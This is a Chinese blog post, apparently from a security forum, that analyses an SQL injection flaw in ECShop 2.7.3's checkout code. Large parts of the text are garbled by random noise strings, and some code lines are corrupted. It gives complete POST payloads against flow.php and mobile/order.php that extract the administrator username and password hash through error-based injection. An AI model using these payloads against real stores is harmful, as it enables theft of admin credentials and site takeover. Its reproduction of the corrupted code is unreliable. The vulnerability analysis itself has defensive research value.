ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

3 f/ i/ m# ?+ P7 ?2 y    漏洞关键文件：
$ Z7 }/ O/ n! G0 B5 O0 a2 i
- v8 g3 f! V; w    /includes/lib_order.php

6 A- R7 L! Q# L% E! j2 p& n    关键函数：

& w# O9 ^' S* y5 v
9 [* B+ c5 s9 Z# \, u: i/ U1 s
01     function available_shipping_list($region_id_list)
% |/ |* I8 f$ s) d
02 {

0 g! p* k, e8 S- }! ~9 ^2 W03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. C! W, B1 t9 \& L  `' }
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

2 Q( E5 |5 y$ u  I  D0 S7 s05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

5 b7 f/ I( e6 \# ~+ _5 g07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

% L  a0 r; [7 O8 @2 Y+ n9 f+ m08             'WHERE r.region_id ' . db_create_in($region_id_list) .
1 M/ S4 @  G3 K
' m9 A, [! w( |  m$ t! E09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
7 Q0 B# W- y, ]# q! Q  e
10   

9 ]9 I7 c. Q6 o6 V11     return $GLOBALS['db']->getAll($sql);
( {& i6 h) i) d% F
) T; t5 T/ [! S6 y$ Z12 }

: T' q( _. Q: r  `% h1 J4 R显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);
. d8 O4 H/ v7 ^# N


$ M4 e1 h2 T' S$ Q

再对传入变量进行追踪：

; L7 x$ r- q3 [' j, h; }" j第530行：   

4 C5 J6 Q: {/ y$ b1 W' q' U+ i. |1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

" j3 }/ l! p: Z  j, S( f8 A! z
. H- A# e! x4 H0 V- e1 r, e
1 w6 f4 I: n$ D9 f' W+ q) q* ]

% G3 {; {7 b6 `$ t% h6 P6 ?0 `第473行：        

1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：

/includes/lib_order.php

8 @) M  P! o( o, ^, p3 }: e
" u4 h7 z& l0 J
9 \9 E& ^- \# `0 l
3 z- G: C4 T1 C
01 function get_consignee($user_id)

02 {

03     if (isset($_SESSION['flow_consignee']))

04     {
  c1 w% P& c7 S. Z
' l3 y& @) R5 |+ N+ j05         /* 如果存在session，则直接返回session中的收货人信息 */

06   
1 m+ t9 [- w$ H" g
07         return $_SESSION['flow_consignee'];

5 ~! `, W9 M0 ^4 S- F08     }

09     else

5 D* x# Y( Y+ O- W8 H10     {

7 E& Q9 s, u. O9 a6 f/ @+ E" j3 M11         /* 如果不存在，则取得用户的默认收货人信息 */
% [1 R, ]' J2 J( ]5 V2 a, t7 ]
' I" D( R' T8 L5 E8 ]12         $arr = array();

; u2 k! n& S+ g13   
/ m  ~3 J0 x! y5 ^" j7 e# z+ Y, c
; X- F" t, T) Z14         if ($user_id > 0)

15         {

' J2 X) {2 I8 j0 t- v9 J: p16             /* 取默认地址 */

17             $sql = "SELECT ua.*".
8 z) O  N; H) S% M
6 g1 R. n+ @4 S5 x18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
. x4 P0 r( |' G) ]& O
20   
& U0 {5 b  a+ z) |' K  S
# i  g  U6 q4 O( d" ?5 o# i21             $arr = $GLOBALS['db']->getRow($sql);

  r0 S1 ^# r+ r; Y2 l22         }
/ q$ N" U3 j, u: b! J7 ]: s" f
  ]: `; d6 Y0 g; P& C& y$ g0 E23   

24         return $arr;

25     }

26 }

5 x! o4 q5 F7 T* N$ b: C显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
% ?: L) Z6 b3 F/ p: |& L


关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
; M0 @) n. t- e0 c. J7 k& t

. a" }# N7 k) L  L0 v
0 x: K" _( j/ b然后看下：

4 v) s' Z4 A9 x

2 C* x8 i: O3 Z" T   
2 X6 S& F' `0 j7 w/ a! ^
6 ?1 X2 [  P- v$ {& ^; F0 Z* J01 $consignee = array(
' N+ U( w9 l# i, Y* J4 f- p
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

; T+ ?1 b- t) b3 u9 F# s( b  B04         'country'       => empty($_POST['country'])    ? '' _POST['country'],

05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

- t' V9 |& q  p4 P6 [6 J06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
7 I0 W( Z  T7 O) ?) }6 W/ F8 M' B
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
* i. P0 U' ?5 h
+ S& y$ c2 f& a$ k4 U6 t. e! }09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
+ V! m2 E5 v! g/ n2 |& u% G
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
3 W: J" V# R" m4 a- v- X& R) f
5 m' N8 Q/ j* J8 O1 g4 m* A13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
' s  x9 {' c& y9 z0 \
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
$ x5 |4 M% @; q. C! C
( l: `. n3 Z1 f6 D15     );
$ N# v  k# r% X% @7 O) t. z" R0 F
好了注入就这样出现了。
: D7 a8 R% F: r2 Q0 }2 M  w! m+ v
. x8 @3 r' E/ h' l. M2 a' u==================

注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

. Z! w6 M; @4 k" i+ P/ C测试程序：ECShop_V2.7.3_UTF8_release1106


" B- x' y9 J7 Q$ o
1.首先需要点击一个商品加入购物车
# g1 J9 Q+ p  [5 ]. C1 f3 q
2.注册一个会员帐号

3.post提交数据
+ t$ r7 S: j2 O- h2 H# i


* m7 Q3 t& u- ?: U* ]5 L1 http://127.0.0.1/ecshop/flow.php

+ X# Y" v1 U  `4 {7 l# P2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

9 `9 w# q7 n; M6 D' Z利用exp:

1.点击一个商品，点击购买商标
$ r, N! W, |0 y2 Z& D7 V. _' T
6 f/ Q  }" @. b& s( T2.登录会员帐号
) m/ U5 c$ d/ j  x( s  G, ?
3.post提交：
8 o# G4 `% T% z/ y" y# d
http://127.0.0.1/ecshop/mobile/order.php

, [, p' W( R& P, b/ _

) H; y. R( q2 D4 Bcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=

$ W# J5 z2 s: }- V% s